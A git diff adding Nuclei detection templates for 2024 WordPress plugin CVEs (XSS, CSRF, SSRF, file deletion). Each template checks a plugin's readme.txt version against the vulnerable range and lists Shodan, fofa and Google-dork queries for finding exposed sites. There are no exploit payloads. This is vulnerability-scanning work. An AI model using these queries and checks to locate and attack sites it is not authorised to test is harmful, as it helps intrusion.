inurl:"/wp-content/plugins/survey-maker/" + shodan-query: 'vuln:CVE-2024-4061' + tags: cve,wordpress,wp-plugin,survey-maker,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/survey-maker/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "survey-maker" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 4.2.8') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4180-409e69e1543a97473f3477623d0cf79d.yaml b/poc/cve/CVE-2024-4180-409e69e1543a97473f3477623d0cf79d.yaml new file mode 100644 index 0000000000..1f6bd5034b --- /dev/null +++ b/poc/cve/CVE-2024-4180-409e69e1543a97473f3477623d0cf79d.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4180-409e69e1543a97473f3477623d0cf79d + +info: + name: > + The Events Calendar <= 6.4.0 - Reflected Cross-Site Scripting + author: topscoder + severity: medium + description: > + The The Events Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'view_data' parameter in all versions up to, and including, 6.4.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/8b93655b-9a26-4515-8ae2-105271aba9c4?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2024-4180 + metadata: + fofa-query: "wp-content/plugins/the-events-calendar/" + google-query: inurl:"/wp-content/plugins/the-events-calendar/" + shodan-query: 'vuln:CVE-2024-4180' + tags: cve,wordpress,wp-plugin,the-events-calendar,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/the-events-calendar/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "the-events-calendar" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 6.4.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4194-6d46981f4c9251d544a68553d3366c8b.yaml b/poc/cve/CVE-2024-4194-6d46981f4c9251d544a68553d3366c8b.yaml new file mode 100644 index 0000000000..53ce0dd8a1 --- /dev/null +++ b/poc/cve/CVE-2024-4194-6d46981f4c9251d544a68553d3366c8b.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4194-6d46981f4c9251d544a68553d3366c8b + +info: + name: > + Album and Image Gallery plus Lightbox <= 2.0 - Unauthenticated Arbitrary Shortcode Execution + author: topscoder + severity: medium + description: > + The The Album and Image Gallery plus Lightbox plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/4822f1c7-3f83-416c-8957-17e4b53d7e69?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N + cvss-score: 6.5 + cve-id: CVE-2024-4194 + metadata: + fofa-query: "wp-content/plugins/album-and-image-gallery-plus-lightbox/" + google-query: inurl:"/wp-content/plugins/album-and-image-gallery-plus-lightbox/" + shodan-query: 'vuln:CVE-2024-4194' + tags: cve,wordpress,wp-plugin,album-and-image-gallery-plus-lightbox,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/album-and-image-gallery-plus-lightbox/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "album-and-image-gallery-plus-lightbox" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4194.yaml b/poc/cve/CVE-2024-4194.yaml new file mode 100644 index 0000000000..188c818b49 --- /dev/null +++ b/poc/cve/CVE-2024-4194.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4194 + +info: + name: > + Album and Image Gallery plus Lightbox <= 2.0 - Unauthenticated Arbitrary Shortcode Execution + author: topscoder + severity: medium + description: > + The The Album and Image Gallery plus Lightbox plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.0. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/4822f1c7-3f83-416c-8957-17e4b53d7e69?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N + cvss-score: 6.5 + cve-id: CVE-2024-4194 + metadata: + fofa-query: "wp-content/plugins/album-and-image-gallery-plus-lightbox/" + google-query: inurl:"/wp-content/plugins/album-and-image-gallery-plus-lightbox/" + shodan-query: 'vuln:CVE-2024-4194' + tags: cve,wordpress,wp-plugin,album-and-image-gallery-plus-lightbox,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/album-and-image-gallery-plus-lightbox/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "album-and-image-gallery-plus-lightbox" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4212.yaml b/poc/cve/CVE-2024-4212.yaml new file mode 100644 index 0000000000..7060b638f3 --- /dev/null +++ b/poc/cve/CVE-2024-4212.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4212 + +info: + name: > + Themesflat Addons For Elementor <= 2.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting in Multiple Widgets + author: topscoder + severity: low + description: > + The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's TF Group Image, TF Nav Menu, TF Posts, TF Woo Product Grid, TF Accordion, and TF Image Box widgets in all versions up to, and including, 2.1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/dc686a35-4ce3-4359-a7d3-e6459e2f5dfe?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4212 + metadata: + fofa-query: "wp-content/plugins/themesflat-addons-for-elementor/" + google-query: inurl:"/wp-content/plugins/themesflat-addons-for-elementor/" + shodan-query: 'vuln:CVE-2024-4212' + tags: cve,wordpress,wp-plugin,themesflat-addons-for-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/themesflat-addons-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "themesflat-addons-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.1.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4218-bb6f1b9667090e20283e6bf88fa3d176.yaml b/poc/cve/CVE-2024-4218-bb6f1b9667090e20283e6bf88fa3d176.yaml new file mode 100644 index 0000000000..fb73f81b7c --- /dev/null +++ b/poc/cve/CVE-2024-4218-bb6f1b9667090e20283e6bf88fa3d176.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4218-bb6f1b9667090e20283e6bf88fa3d176 + +info: + name: > + AffiEasy <= 1.1.6 - Cross-Site Request Forgery to Various Actions + author: topscoder + severity: medium + description: > + The AffiEasy plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.6. This is due to plugin improperly releasing the tagged and patched version of the plugin - the vulnerable version is used as the core files, while the patched version was included in a 'trunk' folder. This makes it possible for unauthenticated attackers to perform a variety of actions via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/095a2262-1da2-4f79-896c-6d48eb079a7b?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N + cvss-score: 6.5 + cve-id: CVE-2024-4218 + metadata: + fofa-query: "wp-content/plugins/affieasy/" + google-query: inurl:"/wp-content/plugins/affieasy/" + shodan-query: 'vuln:CVE-2024-4218' + tags: cve,wordpress,wp-plugin,affieasy,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/affieasy/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "affieasy" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.1.6') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4354-cb1abe584a99094a32454176c2da1e00.yaml b/poc/cve/CVE-2024-4354-cb1abe584a99094a32454176c2da1e00.yaml new file mode 100644 index 0000000000..9e78b167d6 --- /dev/null +++ b/poc/cve/CVE-2024-4354-cb1abe584a99094a32454176c2da1e00.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4354-cb1abe584a99094a32454176c2da1e00 + +info: + name: > + TablePress – Tables in WordPress made easy <= 2.3 - Authenticated (Author+) Server-Side Request Forgery via DNS Rebind + author: topscoder + severity: low + description: > + The TablePress – Tables in WordPress made easy plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.3 via the get_files_to_import() function. This makes it possible for authenticated attackers, with author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. Due to the complex nature of protecting against DNS rebind attacks in WordPress software, we settled on the developer simply restricting the usage of the URL import functionality to just administrators. While this is not optimal, we feel this poses a minimal risk to most site owners and ideally WordPress core would correct this issue in wp_safe_remote_get() and other functions. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/879384eb-bfea-4667-a7de-9f723dbea74b?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4354 + metadata: + fofa-query: "wp-content/plugins/tablepress/" + google-query: inurl:"/wp-content/plugins/tablepress/" + shodan-query: 'vuln:CVE-2024-4354' + tags: cve,wordpress,wp-plugin,tablepress,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/tablepress/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "tablepress" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.3.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4355-a903f9532766751cdbee9102a282b68d.yaml b/poc/cve/CVE-2024-4355-a903f9532766751cdbee9102a282b68d.yaml new file mode 100644 index 0000000000..9b4f6e7f9b --- /dev/null +++ b/poc/cve/CVE-2024-4355-a903f9532766751cdbee9102a282b68d.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4355-a903f9532766751cdbee9102a282b68d + +info: + name: > + Block Bad Bots and Stop Bad Bots Crawlers and Spiders and Anti Spam Protection <= 10.23 - Missing Authorization to Information Expsoure + author: topscoder + severity: low + description: > + The Block Bad Bots and Stop Bad Bots Crawlers and Spiders and Anti Spam Protection plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the stopbadbots_get_ajax_data() function in all versions up to, and including, 10.23. This makes it possible for authenticated attackers, with subscriber-level access and above, to expose visitor data. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/c77d94ae-528d-4525-b16d-96529bee08c0?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N + cvss-score: 4.3 + cve-id: CVE-2024-4355 + metadata: + fofa-query: "wp-content/plugins/stopbadbots/" + google-query: inurl:"/wp-content/plugins/stopbadbots/" + shodan-query: 'vuln:CVE-2024-4355' + tags: cve,wordpress,wp-plugin,stopbadbots,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/stopbadbots/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "stopbadbots" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 10.23') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4364.yaml b/poc/cve/CVE-2024-4364.yaml new file mode 100644 index 0000000000..6c93a53462 --- /dev/null +++ b/poc/cve/CVE-2024-4364.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4364 + +info: + name: > + Qi Addons For Elementor <= 1.7.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget + author: topscoder + severity: low + description: > + The Qi Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's button widgets in all versions up to, and including, 1.7.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/061ada09-932f-4d2c-aa9e-c53f1d711c85?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4364 + metadata: + fofa-query: "wp-content/plugins/qi-addons-for-elementor/" + google-query: inurl:"/wp-content/plugins/qi-addons-for-elementor/" + shodan-query: 'vuln:CVE-2024-4364' + tags: cve,wordpress,wp-plugin,qi-addons-for-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/qi-addons-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "qi-addons-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.7.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4377.yaml b/poc/cve/CVE-2024-4377.yaml new file mode 100644 index 0000000000..9cdcf3581e --- /dev/null +++ b/poc/cve/CVE-2024-4377.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4377 + +info: + name: > + DOP Shortcodes <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode + author: topscoder + severity: low + description: > + The DOP Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/7c964abb-8b7b-4dc4-a64a-817d450eb3b9?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4377 + metadata: + fofa-query: "wp-content/plugins/dop-shortcodes/" + google-query: inurl:"/wp-content/plugins/dop-shortcodes/" + shodan-query: 'vuln:CVE-2024-4377' + tags: cve,wordpress,wp-plugin,dop-shortcodes,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/dop-shortcodes/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "dop-shortcodes" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4381.yaml b/poc/cve/CVE-2024-4381.yaml new file mode 100644 index 0000000000..53f116a5c8 --- /dev/null +++ b/poc/cve/CVE-2024-4381.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4381 + +info: + name: > + CB (legacy) <= 0.9.4.18 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The CB (legacy) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 0.9.4.18 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/c7c0a72a-08fe-4365-b762-93a96455a589?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-4381 + metadata: + fofa-query: "wp-content/plugins/commons-booking/" + google-query: inurl:"/wp-content/plugins/commons-booking/" + shodan-query: 'vuln:CVE-2024-4381' + tags: cve,wordpress,wp-plugin,commons-booking,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/commons-booking/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "commons-booking" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 0.9.4.18') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4382.yaml b/poc/cve/CVE-2024-4382.yaml new file mode 100644 index 0000000000..25afb6f096 --- /dev/null +++ b/poc/cve/CVE-2024-4382.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4382 + +info: + name: > + CB (legacy) <= 0.9.4.18 - Cross-Site Request Forgery to Code/Timeframe/Booking Deletion + author: topscoder + severity: medium + description: > + The CB (legacy) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.9.4.18. This is due to missing or incorrect nonce validation on a bulk update function. This makes it possible for unauthenticated attackers to delete codes, timeframes and bookings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/16073ffd-d95a-4e1e-9593-c2e5ae57f303?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-4382 + metadata: + fofa-query: "wp-content/plugins/commons-booking/" + google-query: inurl:"/wp-content/plugins/commons-booking/" + shodan-query: 'vuln:CVE-2024-4382' + tags: cve,wordpress,wp-plugin,commons-booking,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/commons-booking/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "commons-booking" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 0.9.4.18') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4384.yaml b/poc/cve/CVE-2024-4384.yaml new file mode 100644 index 0000000000..45fc38f987 --- /dev/null +++ b/poc/cve/CVE-2024-4384.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4384 + +info: + name: > + CSSable Countdown <= 1.5 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The CSSable Countdown plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/2de90107-1a7e-4899-ae1e-cb9eeadfe64d?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2024-4384 + metadata: + fofa-query: "wp-content/plugins/cssable-countdown/" + google-query: inurl:"/wp-content/plugins/cssable-countdown/" + shodan-query: 'vuln:CVE-2024-4384' + tags: cve,wordpress,wp-plugin,cssable-countdown,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/cssable-countdown/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "cssable-countdown" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.5') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4442-bfd9fc2e11f82202e3317db7b1d6b9d3.yaml b/poc/cve/CVE-2024-4442-bfd9fc2e11f82202e3317db7b1d6b9d3.yaml new file mode 100644 index 0000000000..ed617433fa --- /dev/null +++ b/poc/cve/CVE-2024-4442-bfd9fc2e11f82202e3317db7b1d6b9d3.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4442-bfd9fc2e11f82202e3317db7b1d6b9d3 + +info: + name: > + Salon booking system <= 9.9 - Unauthenticated Arbitrary File Deletion + author: topscoder + severity: critical + description: > + The Salon booking system plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 9.8. This is due to the plugin not properly validating the path of an uploaded file prior to deleting it. This makes it possible for unauthenticated attackers to delete arbitrary files, including the wp-config.php file, which can make site takeover and remote code execution possible. This was partially patched in 9.9, and sufficiently patched in 10.0. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/eaafeadd-f44c-49b1-b900-ef40800c629e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-score: 9.1 + cve-id: CVE-2024-4442 + metadata: + fofa-query: "wp-content/plugins/salon-booking-system/" + google-query: inurl:"/wp-content/plugins/salon-booking-system/" + shodan-query: 'vuln:CVE-2024-4442' + tags: cve,wordpress,wp-plugin,salon-booking-system,critical + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/salon-booking-system/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "salon-booking-system" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 9.9') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4451-d9d72de6e9feaa1de18d7e0ad9e7450e.yaml b/poc/cve/CVE-2024-4451-d9d72de6e9feaa1de18d7e0ad9e7450e.yaml new file mode 100644 index 0000000000..a4d84ec9f5 --- /dev/null +++ b/poc/cve/CVE-2024-4451-d9d72de6e9feaa1de18d7e0ad9e7450e.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4451-d9d72de6e9feaa1de18d7e0ad9e7450e + +info: + name: > + Colibri Page Builder <= 1.0.276 - Authenticated (Contributor+) Stored Cross-Site Scripting via colibri_video_player Shortcode + author: topscoder + severity: low + description: > + The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's colibri_video_player shortcode in all versions up to, and including, 1.0.276 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/0afd981e-3ae8-4450-9750-23ff6fe612dc?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4451 + metadata: + fofa-query: "wp-content/plugins/colibri-page-builder/" + google-query: inurl:"/wp-content/plugins/colibri-page-builder/" + shodan-query: 'vuln:CVE-2024-4451' + tags: cve,wordpress,wp-plugin,colibri-page-builder,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/colibri-page-builder/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "colibri-page-builder" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.276') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4458.yaml b/poc/cve/CVE-2024-4458.yaml new file mode 100644 index 0000000000..b84d758f95 --- /dev/null +++ b/poc/cve/CVE-2024-4458.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4458 + +info: + name: > + Themesflat Addons For Elementor <= 2.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via URLs + author: topscoder + severity: low + description: > + The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in several widgets via URL parameters in all versions up to, and including, 2.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f0ff03ab-eeb9-4445-92c8-326783d4b10e?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-4458 + metadata: + fofa-query: "wp-content/plugins/themesflat-addons-for-elementor/" + google-query: inurl:"/wp-content/plugins/themesflat-addons-for-elementor/" + shodan-query: 'vuln:CVE-2024-4458' + tags: cve,wordpress,wp-plugin,themesflat-addons-for-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/themesflat-addons-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "themesflat-addons-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.1.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-4459.yaml b/poc/cve/CVE-2024-4459.yaml new file mode 100644 index 0000000000..37183b25b9 --- /dev/null +++ b/poc/cve/CVE-2024-4459.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-4459 + +info: + name: > + Themesflat Addons For Elementor <= 2.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Widget Titles + author: topscoder + severity: low + description: > + The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site 